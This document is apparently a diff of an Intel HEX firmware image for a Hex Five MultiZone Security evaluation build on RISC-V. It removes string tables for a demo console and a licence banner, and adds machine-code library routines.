-:1057C8007825303878202573202573200A000000BA
-:1057D80070696E6700000000706F6E67000000005F
-:1057E8000D5A2564203E202573200A000D5A3220C8
-:1057F8003E2025730000000068656C700000000002
-:105808007969656C64203A20656C61707365642001
-:105818006379636C6573202564202F2074696D6536
-:105828002025647573200A007969656C64203A2024
-:105838006E2F61200A0000006C6F61640000000098
-:10584800307825303878203A203078253032782062
-:105858000A00000053796E7461783A206C6F6164B5
-:105868002061646472657373200A000073746F7238
-:105878006500000053796E7461783A2073746F7212
-:105888006520616464726573732064617461200AC1
-:1058980000000000657865630000000053796E74AD
-:1058A80061783A2065786563206164647265737312
-:1058B800200A0000646D610053796E7461783A20A3
-:1058C800646D6120736F75726365206465737420FD
-:1058D80073697A65200A000073656E640000000031
-:1058E8004572726F723A20496E626F782066756CE5
-:1058F8006C2E0A0053796E7461783A2073656E6471
-:10590800207B317C327C337C347D206D6573736100
-:105918006765200A000000007265637600000000D9
-:105928006D7367203A20252E3136730A0000000077
-:105938004572726F723A20496E626F7820656D7099
-:1059480074792E0A0000000053796E7461783A2049
-:1059580072656376207B317C327C337C347D200A0F
-:10596800000000007969656C6400000074696D6569
-:105978007200000074696D6572207365742054307C
-:105988003D256C752C2054313D256C75200A00008E
-:1059980053796E7461783A2074696D6572206D73FD
-:1059A800200A0000737461747300000072657374D8
-:1059B80061727400706D70006563616C6C0000004A
-:1059C8006373727200000000307825303878202820
-:1059D8002564206379636C657329200A0000000040
-:1059E800436F6D6D616E64733A207969656C6420EC
-:1059F80073656E64207265637620706D70206C6FBD
-:105A080061642073746F7265206578656320646DC6
-:105A1800612073746174732074696D657220726596
-:105A28007374617274200A001B3700001B5B4B0003
-:105A38001B3800001B5B43001B5B44001B5B324BA5
-:105A4800000000000D5A32203E20000055415254FB
-:105A5800000000001B5B324A1B5B48003D3D3D3D9A
-:105A68003D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D5E
-:105A78003D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D4E
-:105A88003D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3E
-:105A98003D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D2E
-:105AA8003D0A00002020202020200920202020203E
-:105AB800202020202020202048657820466976650F
-:105AC800204D756C74695A6F6E65C2AE205365635C
-:105AD8007572697479202020202020202020202021
-:105AE8002020202020202020200A00002020202004
-:105AF800436F70797269676874C2A9203230323096
-:105B08002048657820466976652053656375726913
-:105B180074792C20496E632E202D20416C6C205204
-:105B280069676874732052657365727665642020AE
-:105B380020200A00546869732076657273696F6E55
-:105B4800206F66204D756C74695A6F6E65C2AE2001
-:105B58005365637572697479206973206D65616E28
-:105B68007420666F72206576616C756174696F6EFA
-:105B780020707572706F736573200A006F6E6C7990
-:105B88002E20417320737563682C20757365206F10
-:105B980066207468697320736F6674776172652014
-:105BA800697320676F7665726E6564206279207408
-:105BB8006865204576616C756174696F6E20202078
-:105BC800200A00004C6963656E73652E2054686571
-:105BD8007265206D6179206265206F746865722036
-:105BE80066756E6374696F6E616C206C696D69743B
-:105BF8006174696F6E732061732064657363726981
-:105C080062656420696E2020200A0000746865209F
-:105C18006576616C756174696F6E2053444B2064BE
-:105C28006F63756D656E746174696F6E2E2054684C
-:105C38006520636F6D6D65726369616C207665724E
-:105C480073696F6E206F662074686520202020209D
-:105C5800200A0000736F66747761726520646F654F
-:105C680073206E6F7420686176652074686573654B
-:105C7800207265737472696374696F6E732E202065
-:105C8800202020202020202020202020202020200C
-:105C98002020202020202020200A00000A0D5A322F
-:105CA800203E20005369466976652C20496E632E94
-:105CB8000000000048657820466976652C20496E0A
-:105CC800632E000000000000583330300000000050
-:105CD800453331000000000045323100000000006B
-:105CE800000102020303030304040404040404047B
-:105CF800050505050505050505050505050505054C
-:105D0800060606060606060606060606060606062B
-:105D1800060606060606060606060606060606061B
-:105D280007070707070707070707070707070707FB
-:105D380007070707070707070707070707070707EB
-:105D480007070707070707070707070707070707DB
-:105D580007070707070707070707070707070707CB
-:105D680008080808080808080808080808080808AB
-:105D7800080808080808080808080808080808089B
-:105D8800080808080808080808080808080808088B
-:105D9800080808080808080808080808080808087B
-:105DA800080808080808080808080808080808086B
-:105DB800080808080808080808080808080808085B
-:105DC800080808080808080808080808080808084B
-:105DD800080808080808080808080808080808083B
-:105DE80000202020202020202020282828282820A3
-:105DF800202020202020202020202020202020209B
-:105E08002088101010101010101010101010101002
-:105E180010040404040404040404041010101010F2
-:105E280010104141414141410101010101010101BC
-:105E3800010101010101010101010101101010100E
-:105E4800101042424242424202020202020202028E
-:105E580002020202020202020202020210101010E2
-:105E6800200000000000000000000000000000000A
-:105E7800000000000000000000000000000000001A
-:105E8800000000000000000000000000000000000A
-:105E980000000000000000000000000000000000FA
-:105EA80000000000000000000000000000000000EA
-:105EB80000000000000000000000000000000000DA
-:105EC80000000000000000000000000000000000CA
-:105ED80000000000000000000000000000000000BA
-:105EE80000000000000000000000000000000000AA
-:105EF800000000000000000000000000000000009A
-:105F08000000000000000000000000000000000089
-:105F18000000000000000000000000000000000079
-:105F28000000000000000000000000000000000069
-:105F38000000000000000000000000000000000059
-:105F480000000000232D302B20000000686C4C005E
-:105F58006566674546470000303132333435363799
-:105F6800383941424344454600000000303132335D
-:105F7800343536373839616263646566000000007D
-:105F88003EE3FFFF54E3FFFF14E3FFFF14E3FFFFCB
-:105F980014E3FFFF14E3FFFF54E3FFFF14E3FFFFE5
-:105FA80014E3FFFF14E3FFFF14E3FFFFAAE4FFFF7E
-:105FB80092E3FFFF7CE4FFFF14E3FFFF14E3FFFF1E
-:105FC800DAE4FFFF14E3FFFF92E3FFFF14E3FFFFB0
-:085FD80014E3FFFF84E4FFFF66
-:105FE000ECD900802CDA00806CDA0080ACDA00801A
-:105FF000000000000C5F40202C5F4020EC5E402041
-:106000000000000000000000000000000000000090
-:106010000000000000000000000000000000000080
-:106020000000000000000000000000000000000070
-:106030000000000000000000000000000000000060
-:106040000000000000000000000000000000000050
-:1060500010D80080FFFFFFFF80E3008010D8008091
+:10187000411122C406C6971700009387E7FC2A840B
+:1018800081C78145EF00107C17C5C05F032585FD2A
+:101890001C5591C382972285EF20A0355D7186C6C5
+:1018A000A2C4A6C2CAC04EDE52DC56DA5AD85ED6F0
+:1018B0009707000093876719739057308567938760
+:1018C0008780F3A74730F3670430B707000C094758
+:1018D000D8C73727000C1C430146814593E7870092
+:1018E0001CC31725000013056566EF00B0671725B8
+:1018F000000013052566EF00D04F172500001305E3
+:10190000E565EF00104F172500001305A569EF00EE
+:10191000504E172500001305656DEF00904D1725FB
+:1019200000001305A563EF00D04C17250000130538
+:101930006570EF00104C1725000013052574EF00AB
+:10194000504B172500001305E577EF00904A172547
+:1019500000001305A57BEF00D049172500001305F3
+:10196000657FEF001049172500001305255FEF0084
+:1019700050481D4697350000938545820545EF0088
+:10198000D06113890185173A0000130AAA88973A93
+:101990000000938A2A8197C9C05F9389E9EC173BBD
+:1019A0000000130B2B81973B0000938BAB82CA8501
+:1019B0000545B92B2A842DCD4C4151462800EF0016
+:1019C000B0275685230E0100EF00B04203A50900A1
+:1019D0008144EF007050835704002A866319F50094
+:1019E00083A509004840EF0050509334150048404B
+:1019F000EF00102485472310F4000545EF00D022A6
+:101A000048C05A85EF00F03E5C405E852380970019
+:101A10005C4083C50700EF00D03D05468545228523
+:101A20001D25172500001305657DEF00903C41B78B
+:101A3000CA850945F1292A843DD95285EF00703BBA
+:101A40002285E524ADB75971AACA86D696D49AD212
+:101A50009ED0A2CEA6CCAEC8B2C6B6C4BAC2BEC0D4
+:101A600042DE46DC4ADA72D876D67AD47ED2154582
+:101A7000AA85214573003000AA841145AA85214515
+:101A8000730030002A841945AA852145730030006F
+:101A9000AD47AA8663EC9700172600001306064898
+:101AA0001397240032971C43B2978287B7070080B0
+:101AB000138777006382E41A1387B7006385E420F5
+:101AC0008D076385F4122286A6851725000013056D
+:101AD000E54039A02286814517250000130505122F
+:101AE000EF0030311725000013058541EF007030FD
+:101AF000230C010005462C080145EF0030497DD933
+:101B00006FF01FD0B1A02286854517250000130570
+:101B1000A512F9B72286894517250000130505157A
+:101B2000C1B722868D4517250000130525174DBF27
+:101B3000228691451725000013058518EF00702BAC
+:101B400083470400858B91E38944269473101434F1
+:101B50007644B650A65216538653E6445645C645BB
+:101B60003646A646164786477258E2585259425E94
+:101B7000B25E225F925F65617300203022869545D8
+:101B80001725000013050517EF00B02611047DBFCF
+:101B9000228699451725000013058518EF0070254A
+:101BA000834704001145858B91E309452295731005
+:101BB000153479BF22869D45172500001305C519E8
+:101BC000F1BF2286A145172500001305A51B09BFFB
+:101BD0002286A545172500001305451E11B722864C
+:101BE000AD45172500001305E520DDBD2AC61946C1
+:101BF00097250000938585230545EF00103AB246EE
+:101C00002286A685172500001305C522EF00701E49
+:101C1000370404102C441725000013056523EF003A
+:101C2000501D6C44172500001305C523EF00701CE0
+:101C30002C481725000013052524EF00901B19469A
+:101C400097250000938585240545EF001035C16771
+:101C5000938717101CD8EDBD2AC61946972500009A
+:101C60009385C51C0545EF005033B2462286A685F4
+:101C70001725000013050522EF00B0171946972518
+:101C80000000938565240545EF00303113850185FB
+:101C9000EF0090242A86938501850545EF00F02FFB
+:101CA0001946972500009385E5220545EF00F02EA3
+:101CB000FD57BE853E861945730030009307000826
+:101CC000F3B7473071B5B707200C21462C08014502
+:101CD00003A94700EF00902B2A846357A002938446
+:101CE0008182DC5013070002B307F7406345F5001B
+:101CF000C05033048740C85022862C082695EF0038
+:101D0000A073C8502295C8D0B707200C23A2270182
+:101D100081B54111214506C6EF000071B240231084
+:101D200005002322050041018280411122C42A843A
+:101D3000484106C6EF00C06F22852244B2404101EF
+:101D40006F00006F411126C24AC006C622C42E8908
+:101D5000B28491E27D3F2A842685EF00E06C2686DE
+:101D600048C08145EF00007148402310940026864A
+:101D7000CA85EF00606CB240228522449244024939
+:101D800041018280411126C2AA8417250000130553
+:101D9000A54D06C622C44AC02E89EF00F01383D792
+:101DA00004008D073E95EF0020682A841725000067
+:101DB0001305854BEF005012130615009725000000
+:101DC0009385854A2285EF002067172500001305BB
+:101DD000A549EF0070101307150003D60400930700
+:101DE00035004207CC404183C207C18322973305A7
+:101DF000F4002310C700892585476314F900268560
+:101E00002D37B2402285224492440249410182800A
+:101E1000411122C42A84172500001305E54406C693
+:101E200026C24AC02E89EF00300B930435001725D7
+:101E3000000013056543EF00300A22950356150094
+:101E4000A294A68581460145F53D8547AA84631481
+:101E5000F9002285F12BB2402244024926859244A2
+:101E60004101828001114AC82A8917250000130503
+:101E7000A53F06CE22CC26CA4EC6AE8452C456C258
+:101E8000EF0090052A84172500001305E53DEF00BB
+:101E9000B0042695035515000D0481492A94420487
+:101EA0004180228551232A8A172500001305C53B4E
+:101EB000EF0090020545BD4A0DC1B30734414146CC
+:101EC00063C5FA0013960701418233053A01C1093F
+:101ED000A685C209952393D9090163F089020545B6
+:101EE00073003000CA850D4573003000420590C074
+:101EF000D4C098C4DCC44181C1B76244F240D2442A
+:101F00004249B249924A5285224A8545056109B73C
+:101F1000797122D452CC2A842E8A414681450A8581
+:101F200006D626D24AD04ECE56CAA923A2850D4542
+:101F30007300300032C036C23AC43EC619E10144D3
+:101F400089A81725000013052532EF00E0782A86BE
+:101F50008A851725000013052531EF00007921E55A
+:101F60001725000013054530EF0000771C083E954B
+:101F7000035615FF8A851725000013056532952D38
+:101F800022858A85C5352A841725000013058533E7
+:101F90008D25B2502285225492540259F249624A48
+:101FA000D24A456182809304F4FF939A24001389F6
+:101FB0008180B309590103A5090041468A85AD29ED
+:101FC00003A709009397640093844187BE94410757
+:101FD0009387040463E6E70623A0E900C1450A8568
+:101FE000EF008073BD47E3ECA7F419469725000086
+:101FF0009385C5E30545EF00407AA285268617251F
+:10200000000013056528F523A9452685EF004072D9
+:1020100011E517250000130525E7E12BD2851725CB
+:10202000000013052527F123194697250000938505
+:1020300065EA05455699EF0040762320990001B7DF
+:1020400023A0990061BF1D71A6CAD2C4AA84035AF5
+:1020500005001725000013052521CAC8D6C2DAC01D
+:1020600086CEA2CCCEC65EDE62DC66DAAE8A328B6B
+:10207000A52503D9040085470D092A99420913595A
+:1020800009016398FA0E172500001305E52595232D
+:10209000DA852685C5392A84172500001305C5264B
+:1020A000892B172500001305E527A123172500001C
+:1020B000130585283D2B93071004172500001305F1
+:1020C000A528230EF1003523172500001305C51997
+:1020D000212583D604009305150009461725000025
+:1020E000130505283923172500001305E517ED23EF
+:1020F000930535005286A29568083D2E17250000ED
+:1021000013058516D12B2295035615008346C10170
+:10211000A285172500001305A529E129854763132A
+:10212000FB00814481493D4A054B972B0000938B6E
+:102130006B2D172C0000130C2C13972C0000938C84
+:102140006C2B63EF290D85476397FA001725000074
+:102150001305052C7929F64066444649B649264AB6
+:10216000964A064BF25B625CD25C2685D6442561BA
+:1021700082808947E394FAFADA85268521312A8418
+:1021800013051A005524AA89172500001305C50D4B
+:10219000A123930535005286A2954E85712C4E9A47
+:1021A00023000A001305000841242A8A13060008A8
+:1021B0008145C92463030A06172500001305C50AD3
+:1021C000212B229503571500CE87A28617260000E3
+:1021D00013064620930500085285A5294143334341
+:1021E00065020148094E6348030393184800D298DA
+:1021F00021A0014573003000F28503A6080083A6E4
+:10220000480003A7880083A7C80009457300300071
+:102210006DD10508C9BF5285212C4E85112CFDBDFD
+:10222000414681456800B924B307394141466345B9
+:10223000FA00139607014182B30534016800ED2AC4
+:10224000D6853246C2465247E24709457300300000
+:102250001DC9C109C20993D9090163946A034146A2
+:102260006C006808D12AC147230601026391F90274
+:1022700062859D211C183E950346D5FE6C08668537
+:102280008D2EE3F229ED0145730030005DBD8345DD
+:10229000C1015E85B92EF5B77D5582808967DCC1A5
+:1022A0000145828013870181AA870843938601181C
+:1022B000AA9763E8D7009386017A63E4F6001CC30B
+:1022C00082807D5582801335350082800145828071
+:1022D000411197250000938565C706C6D52611EDE7
+:1022E000B73701101307302398CF054798C7D8C7D1
+:1022F000094798CBB240410182807D55E5BF41112D
+:1023000022C426C206C62E84B284A12905C5014571
+:1023100037370110630595005C436347F000B24016
+:102320002244924441018280B306A4002380F60037
+:102330000505CDB77D55E5B7411122C426C206C6B5
+:102340002E84B284392921C1A28533079400B7377E
+:102350000110A94635466398E500B240224426851F
+:102360009244410182808843E34F05FE03C5050086
+:1023700088C303C505006316D5008843E34F05FEF7
+:1023800090C38505C9BFFD54C9BFAA8581460146D2
+:1023900001453DA9411122C426C217F4FFFF1304D1
+:1023A000644D97F4FFFF9384E44C058C06C60984C2
+:1023B00011E4B24022449244410182807D1493177B
+:1023C0002400A6979C438297E5B7411122C426C2F8
+:1023D00017F4FFFF1304044A97F4FFFF9384844922
+:1023E000818C4AC006C6898401496315990217F495
+:1023F000FFFF1304244897F4FFFF9384A447818CC4
+:1024000089840149631D9900B240224492440249E3
+:10241000410182801C40050911048297F9B71C40D4
+:10242000050911048297F9BFAA8503A54181D5A8A2
+:10243000AA8503A54181B9A02A8309CA838305001F
+:10244000230073007D16050385056DFA828015C291
+:102450002A8385466367B500FD561307F6FF3A9356
+:10246000BA9583830500230073007D163693B695D5
+:102470006DFA82802A8311C62300B3007D160503FE
+:1024800065FE8280D1CD83A7C5FF011122CC06CE87
+:102490001384C5FF63D307003E942AC6592D1387C2
+:1024A00081811C43324581EB2322040000C3624436
+:1024B000F240056141A5637DF4001040B306C400FD
+:1024C0006396D7009443DC43B29614C05CC0F9BF56
+:1024D0003E87DC4399C3E37DF4FE14433306D70003
+:1024E000631F86001040B29614C33306D700E390F2
+:1024F000C7FC9043DC43B29614C35CC34DBF637505
+:10250000C400B1471CC165B71040B306C400639650
+:10251000D7009443DC43B29614C05CC040C341BFB3
+:102520008280011126CA93843500F1984AC806CEEC
+:1025300022CC4EC6A104B1472A8963F0F404B14409
+:1025400063EFB4024A85F5239386818198423A84E9
+:1025500031E01384C1811C4089E781454A85F92017
+:1025600008C0A6854A85D920FD5963183507B147AB
+:102570002320F9004A857D2B31A0E3D304FCB14729
+:102580002320F9000145F2406244D2444249B24955
+:10259000056182801C40858F63CE07022D466376DD
+:1025A000F6001CC03E9404C029A05C406312870260
+:1025B0009CC24A8541231305B400930744006199E6
+:1025C0003307F540E301F5FC3A94898F1CC065BFE1
+:1025D0005CC3C5B722874040A5BF1304350071987E
+:1025E000E30385FCB305A4404A858920E31D35FB40
+:1025F000BDBF5D7122D406D62A842EDA32DC36DEE7
+:10260000BAC0BEC2C2C4C6C603A5418111C51C4D15
+:1026100081E72AC6752632450C455418228636CEE7
+:10262000EF003046B250225461618280411122C4D1
+:102630002A842E8523A2018206C6AD31FD5763167A
+:10264000F50083A7418291C31CC0B24022444101DE
+:1026500082803571A6DA86DEA2DCCAD836C73AC9CE
+:102660003ECB42CD46CF83A4418163DC0500930776
+:10267000B0089CC07D55F6506654D65446590D613D
+:10268000828093078020231AF1002AC42ACC2E844A
+:10269000814799C19387F5FF7D5974012C002685E8
+:1026A0003EC83ECE231B210136C2A52B6355250112
+:1026B0009307B0089CC061D0A2472380070065BF84
+:1026C0000346050083C60500050585056313D6008E
+:1026D00065FA3305D6408280AA8703C707008507BD
+:1026E0006DFF3385A7407D1582800DC67D1601479D
+:1026F000B307E500B386E50083C7070083C606007D
+:102700006394D7006315C7003385D74082800507DF
+:10271000E5F3DDBF01458280AA95AA876385B700EE
+:1027200003C7070001E73385A74082808507FDB70F
+:102730008DE16F00D06F93071500AA84A2853E85B6
+:10274000EF00F06E6DF9B2402244268592444101BB
+:102750008280411122C426C206C6AA872E848144E3
+:10276000F1BF95B6397132D436D63EDAB2863C1016
+:102770002E86AA8503A5418106CE3AD842DC46DEE4
+:102780003EC6EF009059F24021618280B2862E86CB
+:10279000AA8503A541816F00105BB2862E86AA85AB
+:1027A00003A5418109A0411122C42A842E85B28546
+:1027B000368623A2018206C64136FD576316F50010
+:1027C00083A7418291C31CC0B24022444101828050
+:1027D000AA88138501821C4181EF1387418F18C19C
+:1027E00013050000BA8709C51C412324F708BA87DE
+:1027F000D8437D487D556346E804638D080203A8ED
+:1028000087086300080413152700429510C10323AD
+:10281000081005463316E6003363C3002320681012
+:102820002320D50889466397D80083264810558E03
+:102830002322C810930617000A07D4C3BA978CC77F
+:1028400001458280797156CA5AC85EC662C406D6EE
+:1028500022D426D24AD04ECE52CC66C22A8BAE8A21
+:10286000938B0182054C83A40B0081CCC04083A9CB
+:1028700084081309F4FF0A04338A89002694635FED
+:102880000900B250225492540259F249624AD24A83
+:10289000424BB24B224C924C45618280638C0A00C1
+:1028A000639609007D19711A7114D1BF8327CA0775
+:1028B000E39A57FFD8405C407D176318270323A293
+:1028C0002401EDD383AC44006388090083A609107A
+:1028D00033172C01F98E89EE8297D84083A70B001D
+:1028E000E31397F9E380F4FCBDBF23220400D1BFBA
+:1028F00083A649108325CAFF758F01E75A85829701
+:10290000E9BF2E858297D1BF411122C406C62A8411
+:102910002316B5002317C500232005002322050038
+:10292000232405002322050623280500232A050069
+:10293000232C0500214681451305C505253E971723
+:102940000000938747C35CD0971700009387A7C503
+:102950001CD497170000938707CA5CD49717000010
+:102960009387C7CCB24000D01CD82244410182805A
+:10297000971500009385450181AA411126C21306CF
+:1029800080069384F5FFB384C4024AC02E8922C412
+:1029900006C69385440771362A8401CD232005009D
+:1029A00023222501310508C4138684068145EFF0F2
+:1029B0007FACB24022852244924402494101828088
+:1029C0001C4DBDE3411122C406C697070000938742
+:1029D00067FA1CD5232405042326050423280504AF
+:1029E00097B7C05F83A707E82A846314F50085477B
+:1029F0001CCD22851D2848C02285052808C42285B3
+:102A00002D2048C4484001469145FD3D08440546F7
+:102A1000A545DD3D48440946C945FD358547B240D9
+:102A20001CCC2244410182808280411126C297B48D
+:102A3000C05F83A424E39C4C4AC006C622C42A89F2
+:102A400099E32685B53F938484048044DC40FD17D8
+:102A500063D607009C40B9CF8440C5BF0317C400AC
+:102A600039E7C177850723220406232004002322A7
+:102A70000400232404005CC423280400232A040047
+:102A8000232C0400214681451305C405EFF09F9EC9
+:102A9000232A0402232C04022324040423260404EE
+:102AA000B2402285224492440249410182801304AB
+:102AB000840671BF91454A85C93588C02A8449FD7D
+:102AC000B1472320F900E9BF797122D44AD04ECE14
+:102AD00052CC5AC85EC606D626D256CA2A892E8A33
+:102AE000130485048149054BFD5B0444832A44009B
+:102AF000FD1A63D00A0200406DF8B250225492547D
+:102B00000259624AD24A424BB24B4E85F249456164
+:102B1000828083D7C400637BFB008397E4006387D4
+:102B20007701A6854A85029AB3E9A90093848406B1
+:102B3000C1B78280828001114AC803A9850022CCD6
+:102B40004EC652C406CE26CA56C25AC02E84328AF7
+:102B5000B68963EE260983D7C50013F7074851C726
+:102B600004408C4958482A8BB38AB4408D44B384BE
+:102B7000E4020947B3C4E40213871600569763F3CF
+:102B8000E400BA8493F70740D1C3A6855A85EFF0D5
+:102B90005F992A890DE5B1472320FB008357C400C4
+:102BA0007D5593E707042316F400F2406244D244B3
+:102BB0004249B249224A924A024B056182800C483E
+:102BC0005686EFF07F878357C40093F7F7B793E7F4
+:102BD00007082316F4002328240144C85699B38417
+:102BE00054412320240104C44E8963F329014E89F2
+:102BF00008404A86D285EFF09F851C440145B38783
+:102C000027411CC41C40CA971CC045B726865A855C
+:102C1000EF0090712A8961F10C485A85EFF09F8688
+:102C20009DBF83D7C500357122CD26CB4AC952C579
+:102C300006CF4EC756C35AC1DEDEE2DCE6DA93F7B2
+:102C400007082A8A2E89B2843684A9C39C499DEF3D
+:102C500093050004EFF0FF8C2320A9002328A9008E
+:102C600015E1B1472320FA007D55FA406A44DA4461
+:102C70004A49BA492A4A9A4A0A4BF65B665CD65CCC
+:102C80000D61828093070004232AF9009307000254
+:102C9000A304F1029307000302D22305F10222C626
+:102CA000930B5002971A0000938A8A7E054C294B99
+:102CB00026848347040099C3639C7709B30C94402E
+:102CC000630D9400E6862686CA855285AD35FD578C
+:102CD0006302F51A9257E6973ED283470400638B4E
+:102CE0000718FD579304140002C802CE3ECA02CC56
+:102CF000A309010482D483C5040015465685EF005C
+:102D00001061C2471384140031E513F7070109C7A6
+:102D100013070002A309E10413F7870009C713078B
+:102D2000B002A309E10483C604001307A002638B69
+:102D3000E602F247268481462546034704009305B0
+:102D40001400130707FD6374E6068DC63ECE1DA072
+:102D5000050485B7330555413315AC00C98F3EC80E
+:102D6000A28451BF324793064700184336C66349D1
+:102D700007023ACE034704009307E002631FF704FB
+:102D8000034714009307A002631BF702B24709042C
+:102D9000138747009C433AC663C107023ECA35A861
+:102DA0003307E04093E727003ACE3EC8E1B7B38748
+:102DB00067032E848546BA9749B7FD57C5B7050402
+:102DC00002CA814681472546034704009305140043
+:102DD000130707FD6376E606F1F2834504000D460E
+:102DE000171500001305456BEF00705211CD9717B2
+:102DF00000009387676A1D8D93070004B397A700AF
+:102E0000424505045D8D2AC88345040019461715FF
+:102E100000001305A568930414002304B102EF0019
+:102E2000104F35C19307000095E74247B24713772B
+:102E3000071009CF91073EC69257CE973ED28DBD5F
+:102E4000B38767032E848546BA97BDBF9D07E19B74
+:102E5000A107D5B7780097060000938606CE4A866C
+:102E60000C08528597000000E7000000FD57AA8972
+:102E7000E314F5FC8357C9007D5593F70704E396E7
+:102E800007DE1255DDB37800970600009386E6CA88
+:102E90004A860C085285012AD1BF797152CC9C49CF
+:102EA0003A8A984522D426D24ECE56CA06D64AD061
+:102EB0005AC85EC6AA892E84B284B68A63D3E70054
+:102EC000BA879CC00347340419C385079CC01C40C3
+:102ED00093F7070281C79C4089079CC0032904001F
+:102EE00013796900631A0900130B9401FD5B5C44BC
+:102EF0009840998F634CF90483473404B336F0004B
+:102F00001C4093F70702A5EB13063404D6854E85C3
+:102F1000029AFD576303F5041C4011469840998BB3
+:102F2000544481446397C700B384E64063D30400EC
+:102F300081441C4418486354F700998FBE9401499A
+:102F400069047D5B63982405014509A885465A8676
+:102F5000D6854E85029A631E75017D55B250225466
+:102F600092540259F249624AD24A424BB24B4561ED
+:102F700082800509ADBF3307D40013060003A30107
+:102F8000C7040347540493871600A2978906A381B8
+:102F9000E7049DBF85462286D6854E85029AE30EBC
+:102FA00065FB050945B7797122D426D24AD04ECEA9
+:102FB00006D652CC56CA5AC803C885019307800763
+:102FC000AA842E843289B68963EE0701930720060E
+:102FD0009386350463ED07016305081C930780059C
+:102FE000630AF812930A24042301040515A8930721
+:102FF000D8F993F7F70F5546E366F6FE171600006B
+:103000001306C64C8A07B2979C43B29782871C432B
+:10301000938A2504938647009C4314C32381F504B7
+:10302000854765A29C41084313F6070893054500B0
+:103030000DC21C410CC363D807001307D002B307AD
+:10304000F040A301E404171600001306A645294822
+:10305000A1A013F607041C410CC371DEC207C1878F
+:10306000D9BF90411C43137506089385470001C5DD
+:103070000CC39C4339A0137606040CC37DDA83D7B6
+:1030800007001307F006171600001306A641630495
+:10309000E80E2948A3010404584018C463450700FA
+:1030A0000C40ED990CC099E3B68A19CFB68A33F774
+:1030B0000703FD1A3297034707002380EA003E8783
+:1030C000B3D70703E37507FFA147631EF8001C4051
+:1030D000858B91CB58401C4863C7E70093070003DA
+:1030E000A38FFAFEFD1AB386564114C84E87CA86CE
+:1030F0007000A285268555337D5A631C450D7D558C
+:10310000B250225492540259F249624AD24A424B76
+:1031100045618280A38205051716000013068638D4
+:103120000C40084313F805081C411105630D080203
+:1031300008C313F7150001C793E505020CC0414809
+:10314000B1FB18401377F7FD18C0A9B79C4193E76E
+:1031500007029CC193078007A302F404171600001E
+:103160001306863575BF13F8050408C3E30308FC8E
+:10317000C207C1837DBF214831BF90411C43CC4968
+:1031800013780608138547006306080008C39C43AC
+:103190008CC301A808C3137606049C4375DA2390F8
+:1031A000B70023280400B68A91B71C43D04181455B
+:1031B0009386470014C383AA07005685EF00301595
+:1031C00001C53305554148C05C401CC8A301040437
+:1031D00031BF14485686CA8526858299E30145F396
+:1031E0001C40898B8DE7B2474844E35BF5F03E8590
+:1031F00001BF85465686CA8526858299E30165F119
+:10320000050A5C443247998FE345FAFEE9BF014A5B
+:10321000930A94017D5BF5B71C46FD171CC663D964
+:103220000700184E63C5E700A9476393F50029A975
+:103230001C422E851387170018C22380B700828096
+:10324000011122CC26CA4AC84EC652C406CE2A89CB
+:10325000AE893284B304D6007D5A631494000145CC
+:1032600009A8834504004E864A857D370504E31688
+:1032700045FFF2406244D2444249B249224A0561C4
+:103280008280357122CD26CB4AC94EC706CF52C5A2
+:1032900056C35AC1DEDEE2DCE6DAAA89AE843289A0
+:1032A000368409C51C4D99E3EFF08FF197170000A4
+:1032B0009387071A639CF40C83A4490083D7C40046
+:1032C000A18BFDC79C48EDC793070002A304F10240
+:1032D0009307000302D22305F10222C6930B50028A
+:1032E000971A0000938ACA1A054C294B4A848347CF
+:1032F000040099C36390770FB30C2441630D24013C
+:10330000E6864A86A6854E85253FFD576304F51E51
+:103310009257E6973ED283470400638D071CFD5702
+:103320001309140002C802CE3ECA02CCA30901044C
+:1033300082D48345090015465685EF00407DC2477B
+:103340001304190051E913F7070109C71307000215
+:10335000A309E10413F7870009C71307B002A30903
+:10336000E104834609001307A002638FE606F247D3
+:103370004A84814625460347040093051400130739
+:1033800007FD6378E60AADCA3ECEBDA097170000E0
+:103390009387070E6395F40083A4890005B79717F8
+:1033A00000009387E708E39BF4F083A4C90039B7D2
+:1033B000A6854E85992E09D97D55FA406A44DA448E
+:1033C0004A49BA492A4A9A4A0A4BF65B665CD65C75
+:1033D0000D618280050421BF330555413315AC00D2
+:1033E000C98F3EC82289B1B73247930647001843B8
+:1033F00036C6634907023ACE034704009307E0024A
+:10340000631FF704034714009307A002631BF7022E
+:10341000B2470904138747009C433AC663C10702B9
+:103420003ECA35A83307E04093E727003ACE3EC8AE
+:10343000E1B7B38767032E848546BA972DBFFD5742
+:10344000C5B7050402CA81468147254603470400E3
+:1034500093051400130707FD6374E606F1F2834534
+:1034600004000D4617150000130505034D2511CD69
+:1034700097170000938747021D8D93070004B397A9
+:10348000A700424505045D8D2AC8834504001946FE
+:103490001715000013058500130914002304B10259
+:1034A000BD252DC19307000095E74247B24713772A
+:1034B000071009CF91073EC69257D2973ED23DB52D
+:1034C000B38767032E848546BA9749B79D07E19B6A
+:1034D000A107D5B77800970600009386A6D6268662
+:1034E0000C084E8597000000E7000000FD572A8A6F
+:1034F000E314F5FC83D7C40093F70704E39E07EABF
+:10350000125565BD7800970600009386A6D32686DF
+:103510000C084E85EFF03FA9D1BF411122C42A8487
+:103520002E85B285368623A2018206C6EFE05FDAD9
+:10353000FD576316F50083A7418291C31CC0B240BA
+:10354000224441018280411122C42A842E85B28501
+:10355000368623A2018206C6EFE07FDAFD576316A6
+:10356000F50083A7418291C31CC0B24022444101AF
+:103570008280411122C42E848395E50006C6E1377E
+:10358000634905007C48AA977CC8B24022444101A7
+:1035900082808357C4007D777D17F98F2316F4004E
+:1035A000EDB783D7C500011122CC26CA4AC84EC642
+:1035B00006CE93F70710AA842E843289B68991C764
+:1035C0008395E500894601460D218357C4007D7728
+:1035D0007D17F98F8315E4002316F4006244F2404E
+:1035E000CE864A86B24942492685D24405616FF0AB
+:1035F0008F9B411122C42E848395E50006C6F526D3
+:10360000FD570357C400631BF500FD77FD17F98FC5
+:103610002316F400B2402244410182808567D98F8D
+:103620002316F40068C8FDB78395E500E5A293F57D
+:10363000F50F8347050091C76393B70082800505A6
+:10364000CDBF91C101458280011122CC26CA4AC852
+:1036500006CE4EC6AA842E89328409C51C4D99E334
+:10366000EFF00FB697170000938787DE6319F40613
+:10367000C0401C4C1CC48357C400A18BC9C31C4848
+:10368000BDCF1C4808409379F90F1379F90F1D8DB0
+:103690005C486346F500A2852685ED242DE51C4493
+:1036A0000505FD171CC41C401387170018C0238094
